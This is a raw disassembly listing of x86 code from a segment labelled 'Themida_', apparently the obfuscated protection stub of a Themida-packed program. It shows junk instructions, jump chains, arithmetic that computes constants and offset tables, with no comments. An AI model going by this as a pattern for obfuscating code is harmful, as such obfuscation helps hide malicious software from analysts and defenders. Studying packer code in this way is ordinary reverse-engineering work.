loc_5531A3:				; CODE XREF: Themida_:005531C8j
		xor	edx, edx
		mov	dl, [edi]
		sub	dl, 30h
		mov	esi, eax
		dec	esi
		push	eax
		mov	eax, edx
		push	ebx
		mov	ebx, 0Ah
		jmp	short loc_5531BB
; ---------------------------------------------------------------------------


loc_5531B8:				; CODE XREF: Themida_:005531BEj
		mul	ebx
		dec	esi


loc_5531BB:				; CODE XREF: Themida_:005531B6j
		cmp	esi, 0
		ja	short loc_5531B8
		pop	ebx
		add	ecx, eax
		pop	eax
		inc	edi
		dec	eax


loc_5531C6:				; CODE XREF: Themida_:005531A1j
		or	eax, eax
		jnz	short loc_5531A3
		mov	eax, ecx
		pop	esi
		pop	edx
		pop	edi
		pop	ecx
		leave
		retn	4
; ---------------------------------------------------------------------------
		push	eax
		pusha
		xor	dx, 3B67h
		mov	[ebp+61022B9h],	ebx
		popa
		pop	edx
		jno	loc_5531EF
		and	ebx, 1035BE37h


loc_5531EF:				; CODE XREF: Themida_:005531E3j
		mov	dh, ah


loc_5531F1:				; CODE XREF: Themida_:loc_5502CDj
		mov	eax, ecx
		jmp	loc_5754FD
; ---------------------------------------------------------------------------
		dd 0
		dd 25C003Fh, 2 dup(5CC447h), 12FF6Ch, 5CAA9Fh, 25C0028h
		dd 202h, 2, 1, 3, 0FA44B46Bh, 5	dup(0)
		dd offset loc_557013
		dd offset loc_55C644
; ---------------------------------------------------------------------------
		ror	dword ptr [edi+76040055h], 1
		push	ebp
		add	ds:9700554Ah, dl
		xchg	eax, ecx
		push	ebp
		add	[ebx+690055D7h], ch
		jmp	short loc_5532B0
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_554A0D
		dd offset loc_559509
		dd offset loc_5558A8
		dd offset loc_55BC12
		dd offset loc_559630
		dd offset loc_55C49F
		dd offset loc_55E122
		dd offset loc_5550D7
		dd offset byte_55C859
		dd offset loc_55F6DC
		dd offset loc_554746
		dd offset loc_55D9C5
		dd offset loc_55CA76
		dd offset loc_55BD2E
; ---------------------------------------------------------------------------
		pop	ebp
		popf
		push	ebp
		add	[edi-6Ch], bh
		push	ebp
		add	[ebx], bl
		pop	ecx
		push	ebp
		add	[eax+2D00558Fh], cl
		dec	esi
		push	ebp
		add	[ebx+7F0055D4h], bh
		retf	55h
; ---------------------------------------------------------------------------


loc_5532B0:				; CODE XREF: Themida_:00553259j
		push	ss
		test	eax, 0FA250055h
		push	ebp
		add	dh, bl
		cmp	[ebp+0], edx
		ror	dword ptr [ebx-6306FFABh], 1
		push	ebp
		add	[eax-65h], ch
		push	ebp
		add	cl, dl
		rep push ebp
		add	[ebp+ecx*4+55h], cl
		add	[ebx], ah
		fst	dword ptr [ebp+0]
		pop	esp
		not	dword ptr [ebp+0]
		xor	ecx, ebp
		push	ebp
		add	[edx+650055F6h], bh
		nop
		push	ebp
		add	[ebp-64FFAA26h], ah
		jecxz	short near ptr loc_55333F+1
		add	[ebx+ebx*8], cl
		push	ebp
		add	[ebx+44h], al
		push	ebp
		add	[ebp-0Fh], bl
		push	ebp
		add	[eax+4Ah], bh
		push	ebp
		add	al, bl
		cmpsd
		push	ebp
		add	[esi+55h], ah
		add	[edi-36FFAA3Eh], ah
		lock push ebp
		add	[esp+ecx*4-302DFFABh], cl
		push	ebp
		add	[ecx+esi*2], ah
		push	ebp
		add	al, cl
		push	edi
		push	ebp
		add	[edx-4Bh], bh
		push	ebp
		add	cl, ah
		fist	word ptr [ebp+0]
		call	near ptr 185588A9h
		mov	ecx, 6BA90055h
		push	ebp
		add	ah, bl
		adc	byte ptr [ebp+0], 22h
		imul	edx, [ebp+0], 55AAC6h
		js	short loc_553387
		push	ebp


loc_55333F:				; CODE XREF: Themida_:005532E9j
		add	[ebp-50FFAAA0h], bl
		inc	ecx
		push	ebp
		add	[eax], bl
		mov	ss, word ptr [ebp+0]
		retf	55A4h
; ---------------------------------------------------------------------------
		align 10h
		dd offset loc_558677
		dd offset loc_557070
		dd offset loc_5564C5
		dd offset loc_55E13B
; ---------------------------------------------------------------------------
		popf
		mov	[ebp+0], dl
		cmp	al, [ebx-2EBCFFABh]
		push	ebp
		add	ah, dh
		retn
; ---------------------------------------------------------------------------
		dw 55h
; ---------------------------------------------------------------------------
		cmp	bh, [eax+55h]
		add	al, bh
		sahf
		push	ebp
		add	[edx-59h], bh
		push	ebp
		add	[ebp-1Dh], dl
		push	ebp
		add	bh, ah
		push	55h
		add	[ecx+4Ah], al
		push	ebp


loc_553387:				; CODE XREF: Themida_:0055333Cj
		add	[ecx], dh
		movsb
		push	ebp
		add	[edi-7FFFAA6Ch], al
		inc	edi
		push	ebp
		add	[edi-8], cl
		push	ebp
		add	[ecx+1B0055E0h], cl
		rcl	byte ptr [ebp+0], 1
		les	ebp, [ecx+55h]
		add	[edx-5BFFAAAFh], cl
		aam	55h
		add	bl, dh
		cmpsb
		push	ebp
		add	[ecx], bh
		lahf
		push	ebp
		add	dh, dl
		xchg	eax, esp
		push	ebp
		add	bh, cl
		call	near ptr 89DE3413h
		push	ebp
		add	[esi], cl
		outsd
		push	ebp
		add	dl, bl
		stosb
		push	ebp
		add	[edx+710055A2h], ch
		int	55h
		add	[edi], al
		mov	al, ds:0C8C50055h
		push	ebp
		add	bl, dh
		pop	ebx
		push	ebp
		add	ch, bh
		setalc
		push	ebp
		add	ch, bl
		cmp	edx, [ebp+0]
		stosd
		push	esi
		push	ebp
		add	[eax-75h], ch
		push	ebp
		add	[eax-46h], bl
		push	ebp
		add	[ecx+0A005599h], bl
		cmp	[ebp+0], dl
		fmul	qword ptr [esi-1439FFABh]
		push	ebp
		add	[edx+ecx*8-211FFFABh], dl
		push	ebp
		add	[edi], dl
		cld
		push	ebp
		add	[ecx+7Bh], ch
		push	ebp
		add	[ecx-26h], cl
		push	ebp
		add	al, dh
		in	eax, dx
		push	ebp
		add	[edx+ebp*4+55h], ah
		add	[ebx], ch
		inc	edi
		push	ebp
		add	[edi-2Eh], ch
		push	ebp
; ---------------------------------------------------------------------------
		db 0
		dd offset loc_55ED00
		dd offset loc_55EE68
		dd offset sub_559C84
		dd offset sub_555C50
		dd offset loc_55AAA7
		dd offset loc_55BD5A
		dd offset sub_555CF6
		dd offset sub_558BB5
		dd offset sub_5559F0
		dd offset loc_55A010
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 0AFh, 55h, 0
		dd offset loc_556007
		dd offset sub_5589C1
		dd offset sub_559AA2
		dd offset sub_556F2F
		dd offset sub_556B78
		dd offset loc_55B952
		dd offset sub_555D07
		dd offset sub_554517
		dd offset sub_558684
		dd offset loc_55D8CF
		dd offset sub_557FAF
		dd offset sub_55DBFB
		dd offset sub_553E48
		dd offset loc_55BBAC
		dd offset loc_55C0F1
		dd offset loc_55BAEA
		dd offset loc_5599BE
		dd offset sub_5561B6
		dd offset sub_55E48F
		dd offset sub_5576EE
		dd offset sub_55369E
		dd offset loc_55C461
		dd offset sub_553EB3
		dd offset sub_55E26B
		dd offset loc_55A127
		dd offset loc_55F090
		dd offset loc_5578E4
		dd offset sub_554790
; ---------------------------------------------------------------------------
		inc	ecx
		cmp	edx, [ebp+0]
		sub	eax, 0E000554Ah
		jecxz	short loc_553520
		add	[ebx-52FFAA4Ah], dl
		imul	edx, [ebp+0], 559BD8h
; START	OF FUNCTION CHUNK FOR sub_5AEB29


loc_5534D8:				; CODE XREF: Themida_:0057554Aj
					; Themida_:00575554j ...
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 6108075h
		mov	eax, edi
		add	edi, 6107D8Dh
		cmp	eax, [edi+2Ch]
		jnz	short loc_5534F6
		jmp	short loc_553509
; ---------------------------------------------------------------------------


loc_5534F6:				; CODE XREF: sub_5AEB29-5B637j
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_553505
; ---------------------------------------------------------------------------


loc_553500:				; CODE XREF: sub_5AEB29-5B622j
		add	[edi+ecx*4+40h], eax
		dec	ecx


loc_553505:				; CODE XREF: sub_5AEB29-5B62Bj
		or	ecx, ecx
		jnz	short loc_553500


loc_553509:				; CODE XREF: sub_5AEB29-5B635j
		mov	esi, [esp+24h]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1


loc_553516:				; CODE XREF: sub_5AEB29-5B60Cj
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_553516
; END OF FUNCTION CHUNK	FOR sub_5AEB29
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55351F:				; CODE XREF: sub_559C84-66B2j
					; sub_559C84:loc_553700j ...
		lodsb


loc_553520:				; CODE XREF: Themida_:005534C9j
		push	36EDh
		mov	[esp+4+var_4], ecx
		jmp	loc_5590B7
; ---------------------------------------------------------------------------


loc_55352D:				; CODE XREF: sub_559C84-3F53j
		pop	edx
		jmp	loc_558F02
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_553533:				; CODE XREF: Themida_:005543F6j
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_558C23
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55353F:				; CODE XREF: sub_559C84+4358j
		mov	ecx, [esp+0]
		add	esp, 4
		add	al, bl
		jmp	loc_55C983
; ---------------------------------------------------------------------------


loc_55354F:				; CODE XREF: sub_559C84-2844j
		pop	esi
		and	esi, 79683494h
		inc	esi
		xor	esi, 23731DDCh
		mov	ecx, esi
		pop	esi
		shr	ecx, 3
		and	ecx, 1F5131AFh
		shl	ecx, 1
		sub	ecx, 1E824252h
		add	ebx, ecx
		pop	ecx
		xchg	ebx, [esp-10h+arg_C]
		jmp	loc_55A910
; ---------------------------------------------------------------------------


loc_55357C:				; CODE XREF: sub_559C84+50B2j
		mov	edi, [esp-10h+arg_C]
		add	esp, 4
		push	ebp
		push	2418h
		mov	[esp-0Ch+arg_8], eax
		mov	eax, 13B258DAh
		sub	eax, 0FFFFFFFFh
		or	eax, 2B1D0181h
		push	ecx
		mov	ecx, 732245DDh
		xor	ecx, 18580BB9h
		inc	ecx
		push	edi
		mov	edi, 68643EC5h
		shl	edi, 7
		push	ecx
		mov	ecx, 30DD7E5Eh
		dec	ecx
		add	ecx, 87D6D87h
		jmp	loc_55C675
; ---------------------------------------------------------------------------


loc_5535C5:				; CODE XREF: sub_559C84-373Bj
		add	esp, 4
		jmp	loc_55AD63
; ---------------------------------------------------------------------------


loc_5535CD:				; CODE XREF: sub_559C84+421Dj
		add	word ptr [esp-4+arg_0],	ax
		pushf
		jmp	loc_55351F
; ---------------------------------------------------------------------------


loc_5535D7:				; CODE XREF: sub_559C84+4E60j
		mov	eax, 4CFD1965h
		and	eax, 22D059C1h
		xor	eax, 2E9C4E68h
		jmp	loc_55E5FD
; ---------------------------------------------------------------------------


loc_5535EB:				; CODE XREF: sub_559C84-1D04j
		mov	ebp, [esp+0]
		add	esp, 4
		add	ebp, 53106C7h
		push	24F8h
		mov	[esp+0], ebp
		push	dword ptr [esp+0]
		pop	eax
		push	79Ah
		mov	[esp+4+var_4], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		pop	ebp
		sub	esp, 4
		mov	[esp+4+var_4], edi
		mov	edi, 349D0D56h
		push	ecx
		push	edi
		jmp	loc_555062
; ---------------------------------------------------------------------------


loc_553632:				; CODE XREF: sub_559C84+793j
		mov	ebx, [esp+0Ch+var_C]
		add	esp, 4
		push	ecx
		push	ebx
		sub	esp, 4
		mov	[esp+14h+var_14], edx
		mov	dh, 60h
		mov	bl, 23h
		sub	bl, dh
		mov	edx, [esp+14h+var_14]
		jmp	loc_55DD78
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559AA2


loc_553651:				; CODE XREF: sub_559AA2+Dj
		mov	[esp+8+var_8], ecx
		mov	ecx, esp
		jmp	loc_559097
; END OF FUNCTION CHUNK	FOR sub_559AA2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55365B:				; CODE XREF: sub_559C84+589j
		add	esi, 1
		jmp	loc_553743
; ---------------------------------------------------------------------------


loc_553663:				; CODE XREF: sub_559C84+512Bj
		sub	al, 74h
		push	dx
		jmp	loc_55708C
; ---------------------------------------------------------------------------


loc_55366C:				; CODE XREF: sub_559C84-6049j
		mov	esi, esp
		add	esi, 4
		jmp	loc_55E98C
; ---------------------------------------------------------------------------


loc_553679:				; CODE XREF: sub_559C84-447Aj
		sub	edx, 3E18362Ah
		shr	edx, 4
		shr	edx, 3
		add	edx, 0FE942C45h
		add	esi, edx
		mov	edx, [esp+16h+var_18+2]
		add	esp, 4
		xor	esi, [esp+12h+var_14+2]
		jmp	loc_55C1E7
; END OF FUNCTION CHUNK	FOR sub_559C84

; =============== S U B	R O U T	I N E =======================================



sub_55369E	proc near		; DATA XREF: Themida_:005534A0o

; FUNCTION CHUNK AT 0055FB65 SIZE 00000005 BYTES

		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	word ptr [esp+0], cl
		pushf
		jmp	loc_55FB65
sub_55369E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_5536AE:				; CODE XREF: sub_559C84+5D42j
		sub	edi, edx
		pop	edx
		sub	edi, 8F31ACAh
		add	edi, 2D5D21C3h
		add	edi, ecx
		push	esi
		mov	esi, 2D5D21C3h
		sub	edi, esi
		pop	esi
		add	edi, 8F31ACAh
		push	71BAh
		jmp	loc_55FBAA
; ---------------------------------------------------------------------------


loc_5536D8:				; CODE XREF: sub_559C84-384Dj
		pop	ecx
		push	76B2h
		mov	[esp+12h+var_14+2], edx
		push	ecx
		push	esi
		mov	esi, 576E36D8h
		sub	esi, 5742E2C9h
		mov	ecx, esi
		pop	esi
		dec	ecx
		shl	ecx, 8
		sub	ecx, 0E11DD3D3h
		jmp	loc_55C8FB
; ---------------------------------------------------------------------------


loc_553700:				; CODE XREF: sub_559C84-3FE2j
		jmp	loc_55351F
; ---------------------------------------------------------------------------


loc_553705:				; CODE XREF: sub_559C84+2287j
		sub	eax, 238375B7h
		push	edi
		mov	edi, 45F95F6Eh
		jmp	loc_556429
; ---------------------------------------------------------------------------


loc_553715:				; CODE XREF: sub_559C84+226Ej
		xor	edi, ebp
		pop	ebp
		jmp	loc_55A7C9
; ---------------------------------------------------------------------------


loc_55371D:				; CODE XREF: sub_559C84-28E5j
		pop	edx
		jmp	sub_55799E
; ---------------------------------------------------------------------------


loc_553723:				; CODE XREF: sub_559C84-2486j
		pop	ebx
		pop	eax
		add	ebx, 6E3F574Fh
		add	ebx, edi
		push	eax
		mov	eax, 644D2123h
		sub	eax, 0F60DC9D4h
		sub	ebx, 261D6CA4h
		jmp	loc_559551
; ---------------------------------------------------------------------------


loc_553743:				; CODE XREF: sub_559C84-6626j
		xchg	esi, ecx
		jmp	sub_55E1F9
; ---------------------------------------------------------------------------


loc_55374A:				; CODE XREF: sub_559C84+E05j
		add	[esp+14h+var_14], 4
		pop	ebp
		push	ecx
		mov	ecx, 4
		add	ebp, ecx
		pop	ecx
		sub	esp, 4
		mov	[esp+14h+var_14], edi
		jmp	loc_55EF7F
; ---------------------------------------------------------------------------


loc_553763:				; CODE XREF: sub_559C84+2E6Cj
		mov	esi, [esp+14h+var_14]
		add	esp, 4
		not	edi
		xor	edi, 7213D20h
		push	7FE3h
		mov	[esp+14h+var_14], eax
		push	edi
		mov	edi, 7C9D3072h
		shr	edi, 8
		jmp	loc_55D379
; ---------------------------------------------------------------------------


loc_55378A:				; CODE XREF: sub_559C84-5646j
		shr	edi, 3
		xor	edi, 110EC05Ah
		add	ebx, edi
		pop	edi
		push	ecx
		push	edi
		push	ebx
		jmp	loc_553BAA
; ---------------------------------------------------------------------------


loc_55379E:				; CODE XREF: sub_559C84+4B74j
		mov	edi, esp
		add	edi, 4
		jmp	loc_55E981
; ---------------------------------------------------------------------------


loc_5537AB:				; CODE XREF: sub_559C84-2FEEj
		sub	al, 0B0h
		push	[esp+20h+var_20]
		mov	ebx, [esp+24h+var_24]
		add	esp, 4
		jmp	loc_556968
; ---------------------------------------------------------------------------


loc_5537BB:				; CODE XREF: sub_559C84+3732j
		xor	ecx, 1F6A57B0h
		jmp	sub_55E611
; ---------------------------------------------------------------------------


loc_5537C6:				; CODE XREF: sub_559C84-96j
		push	esp
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+20h+var_20]
		pop	esp
		or	eax, eax
		jz	loc_555E7F
		push	dword ptr [edi+28h]
		push	[esp+20h+var_20]
		jmp	loc_55800E
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559AA2


loc_5537E8:				; CODE XREF: sub_559AA2-9F0j
		add	ecx, 4
		jmp	loc_5568C9
; END OF FUNCTION CHUNK	FOR sub_559AA2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_5537F3:				; CODE XREF: sub_559C84+3A9Ej
		add	ch, bl
		jmp	loc_558BEB
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
		db  87h	; ‡		; CODE XREF: sub_55E51A-950Dj
		db  0Ch
		db  24h	; $
		db  5Ch	; \
		db  89h	; ‰
		db  3Ch	; <
		db  24h	; $
		db  54h	; T
		db  8Bh	; ‹
		db  3Ch	; <
		db  24h	; $
		db 0E9h	; é
		db    7
		db  3Dh	; =
		db    0
		db    0
		db  66h	; f
		db  8Bh	; ‹
		db  0Ch
		db  24h	; $
		db  53h	; S
		db  54h	; T
		db  8Bh	; ‹
		db  1Ch
		db  24h	; $
		db  52h	; R
		db  89h	; ‰
		db 0E2h	; â
		db 0E9h	; é
		db 0D5h	; Õ
		db 0Bh,	2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55381B:				; CODE XREF: sub_559C84-6154j
		push	ecx
		push	ebp
		push	edx
		mov	edx, 7EB92668h
		jmp	loc_5544A1
; ---------------------------------------------------------------------------


loc_553828:				; CODE XREF: sub_559C84+427Dj
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+30h+var_30]
		jmp	loc_558C5F
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_55383C:				; CODE XREF: Themida_:0055EB71j
		mov	ebx, 5BBD29E7h
		or	ebx, 6D3241F0h
		not	ebx
		sub	ebx, 1FE75A44h
		dec	ebx
		sub	ebx, 60593BBFh
		add	ecx, ebx
		jmp	loc_556511
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55895E


loc_55385D:				; CODE XREF: sub_55895E+5A09j
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+8+var_8]
		pop	esp
		push	ebp
		mov	ebp, 4
		jmp	loc_55C35E
; END OF FUNCTION CHUNK	FOR sub_55895E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_553876:				; CODE XREF: sub_559C84+2FC8j
		push	esi
		jmp	loc_55D4F6
; ---------------------------------------------------------------------------


loc_55387C:				; CODE XREF: sub_559C84-5F53j
		xor	edi, 118A25A4h
		add	edx, 1D372BE1h
		sub	edx, edi
		push	ebp
		mov	ebp, 13D907A0h
		jmp	loc_55F44D
; ---------------------------------------------------------------------------


loc_553895:				; CODE XREF: sub_559C84+558Fj
		push	edi
		push	ecx
		mov	ecx, 1C50245Fh
		dec	ecx
		neg	ecx
		sub	ecx, 1D307A8Fh
		shl	ecx, 4
		jmp	loc_556A26
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_554790


loc_5538AD:				; CODE XREF: sub_554790+Ej
		push	ecx
		push	edi
		push	79487896h
		jmp	loc_55B039
; END OF FUNCTION CHUNK	FOR sub_554790
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_5538B9:				; CODE XREF: sub_559C84-61C1j
		sub	edi, 0E5741A5h
		dec	edi
		jmp	loc_55F6AF
; ---------------------------------------------------------------------------


loc_5538C5:				; CODE XREF: sub_559C84+5F3Ej
		mov	[esp+40h+var_42+2], edx
		push	eax
		pushf
		jmp	loc_55351F
; ---------------------------------------------------------------------------


loc_5538CF:				; CODE XREF: sub_559C84+39ABj
		mov	[esp+48h+var_4A+2], ecx
		mov	cl, 6Fh
		xor	cl, 36h
		push	ebx
		mov	bh, 48h
		jmp	loc_55EC66
; END OF FUNCTION CHUNK	FOR sub_559C84

; =============== S U B	R O U T	I N E =======================================



sub_5538DF	proc near		; CODE XREF: sub_559C84+4271j

var_2		= word ptr -2

; FUNCTION CHUNK AT 0055807D SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00558649 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00559375 SIZE 00000013 BYTES

		push	ebx
		mov	bl, 2Ch
		xor	bl, 7
		add	bl, 0B7h
		mov	dh, bl
		jmp	loc_55807D
sub_5538DF	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_5538EF:				; CODE XREF: sub_559C84+30CFj
		add	bl, 88h
		pop	edx
		add	bl, 82h
		add	bl, al
		sub	bl, 82h
		jmp	loc_5552F5
; ---------------------------------------------------------------------------


loc_553900:				; CODE XREF: sub_559C84-4616j
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	[esp+4Ch+var_4E+2]
		mov	eax, [esp+50h+var_52+2]
		jmp	loc_55E223
; ---------------------------------------------------------------------------


loc_553911:				; CODE XREF: sub_559C84+29DBj
		sub	ecx, 2CE81FC1h
		jmp	loc_55668B
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_558BA2


loc_55391C:				; CODE XREF: sub_558BA2-B99j
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		push	edi
		push	esi
		mov	esi, 60D933E2h
		mov	edi, 9F26CC22h
		add	edi, esi
		jmp	loc_55975F
; END OF FUNCTION CHUNK	FOR sub_558BA2
; ---------------------------------------------------------------------------


loc_553937:				; CODE XREF: Themida_:0055F763j
		mov	ebp, esp
		add	ebp, 4
		push	edi
		mov	edi, 4
		jmp	loc_555E8A
; ---------------------------------------------------------------------------


loc_55394A:				; CODE XREF: Themida_:00555652j
		push	esp
		push	dword ptr [esp]
		mov	edi, [esp]
		jmp	loc_55547D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_553956:				; CODE XREF: sub_559C84-59C4j
		add	eax, 0FC7A94E1h
		jmp	loc_556F9B
; ---------------------------------------------------------------------------


loc_553960:				; CODE XREF: sub_559C84-5191j
		mov	dh, 82h
		sub	dh, bh
		mov	ebx, [esp+50h+var_52+2]
		jmp	loc_558876
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55895E


loc_55396C:				; CODE XREF: sub_55895E+6j
		add	edi, ebp
		jmp	loc_55E35D
; END OF FUNCTION CHUNK	FOR sub_55895E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5589C1


loc_553973:				; CODE XREF: sub_5589C1-242Ej
		mov	edx, 1C1D4846h
		jmp	loc_559B17
; END OF FUNCTION CHUNK	FOR sub_5589C1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_555531


loc_55397D:				; CODE XREF: sub_555531+326Aj
		sub	ebx, ebp
		pop	ebp
		jmp	loc_55E783
; END OF FUNCTION CHUNK	FOR sub_555531
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_553985:				; CODE XREF: sub_559C84+4BEj
		sub	al, ch
		pop	ecx
		jmp	loc_55480E
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_55398D:				; CODE XREF: Themida_:00553AE9j
		pop	dx
		add	al, 78h
		push	edx
		push	eax
		mov	ah, 0C7h
		or	ah, 26h
		not	ah
		dec	ah
		add	ah, 55h
		dec	ah
		add	ah, 0BCh
		or	ah, 7Ch
		or	ah, 5Bh
		jmp	loc_556BE0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55E26B


loc_5539AF:				; CODE XREF: sub_55E26B-8472j
		push	edi
		mov	edi, 33457FF5h
		sub	edi, 5151421Fh
		xor	edi, 0E1F43DD2h
		add	ebp, edi
		pop	edi
		jmp	loc_554239
; END OF FUNCTION CHUNK	FOR sub_55E26B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_5539C9:				; CODE XREF: sub_559C84-502Ej
		and	cl, bl
		pop	ebx
		push	small 0C90h
		mov	word ptr [esp+4Ah+var_4A], bx
		push	ecx
		mov	ch, 0B0h
		mov	bl, ch
		jmp	loc_55EE9C
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
		push	ebp
		sub	esp, 4
		mov	[esp], esi
		push	ebp
		mov	ebp, 57093D16h
		push	ebp
		pop	esi
		pop	ebp
		mov	ebp, 24560F7Ch
		xor	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_556B4C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_553A03:				; CODE XREF: sub_559C84-716j
		shl	bh, 5
		jmp	loc_557246
; ---------------------------------------------------------------------------


loc_553A0B:				; CODE XREF: sub_559C84-266j
		add	esi, 4
		xchg	esi, [esp+4Eh+var_4E]
		jmp	loc_55DB06
; ---------------------------------------------------------------------------


loc_553A16:				; CODE XREF: sub_559C84-A69j
		push	ecx
		pop	ebx
		mov	ecx, [esp+4Eh+var_4E]
		add	esp, 4
		or	[edi+1Ch], ebx
		pop	ebx


loc_553A25:				; CODE XREF: sub_559C84-237Bj
		push	0A34h
		jmp	loc_555A67
; ---------------------------------------------------------------------------


loc_553A2F:				; CODE XREF: sub_559C84+56D5j
		xor	al, 9Ah
		jmp	loc_55DFCF
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_553A36:				; CODE XREF: Themida_:0055E0AAj
		add	esp, 4
		add	edi, 4
		add	edi, 4
		jmp	loc_5547B9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_553A4D:				; CODE XREF: sub_559C84+55BAj
		add	ebx, 0FDE8C6C1h
		add	edx, 795140F7h
		add	edx, ebx
		jmp	loc_555C8C
; ---------------------------------------------------------------------------


loc_553A60:				; CODE XREF: sub_559C84+5347j
		add	eax, 4
		jmp	loc_554DC7
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_553A6A:				; CODE XREF: Themida_:0055563Bj
		add	ax, si
		pop	si
		push	ecx
		mov	cx, 5E10h
		jmp	loc_558E46
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_553A79:				; CODE XREF: sub_559C84+3672j
		pop	ebx
		jmp	loc_559DE7
; ---------------------------------------------------------------------------


loc_553A7F:				; CODE XREF: sub_559C84-D15j
		xchg	ecx, [esp+46h+var_46]
		mov	esp, [esp+46h+var_46]
		mov	[esp+46h+var_46], eax
		jmp	loc_558271
; ---------------------------------------------------------------------------


loc_553A8D:				; CODE XREF: sub_559C84+5A1j
		mov	ebx, 7FF20537h
		add	ebp, ebx
		pop	ebx
		sub	ebp, 1A1CB70Ch
		and	eax, ebp
		push	[esp+42h+var_42]
		mov	ebp, [esp+46h+var_46]
		add	esp, 4
		add	esp, 4
		jmp	loc_55F058
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55DE4E


loc_553AAE:				; CODE XREF: sub_55DE4E+Bj
		push	edx
		jmp	loc_558F81
; END OF FUNCTION CHUNK	FOR sub_55DE4E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_553AB4:				; CODE XREF: sub_559C84+4124j
		push	edi
		mov	edi, 6EB93A4Ch
		or	edi, 6D2F38E5h
		shr	edi, 5
		jmp	loc_5538B9
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_558BA2


loc_553AC8:				; CODE XREF: sub_558BA2+5F0Cj
		sub	ebx, edi
		jmp	loc_55D46B
; END OF FUNCTION CHUNK	FOR sub_558BA2
; ---------------------------------------------------------------------------


loc_553ACF:				; CODE XREF: Themida_:00558C90j
		push	ecx
		push	2AD3h
		jmp	loc_5544D1

; =============== S U B	R O U T	I N E =======================================



sub_553ADA	proc near		; CODE XREF: sub_559C84+4558j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00556683 SIZE 00000008 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], edx
		jmp	loc_556683
sub_553ADA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_553AE5:				; CODE XREF: Themida_:00558164j
		mov	dl, 18h
		sub	al, dl
		jmp	loc_55398D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_553AEE:				; CODE XREF: sub_559C84-3BA2j
		pop	eax
		jmp	loc_556D39
; ---------------------------------------------------------------------------


loc_553AF4:				; CODE XREF: sub_559C84-3DFFj
		mov	[esp+3Eh+var_3E], eax
		mov	eax, ebx
		jmp	loc_55F188
; ---------------------------------------------------------------------------


loc_553AFE:				; CODE XREF: sub_559C84+1543j
		push	edx
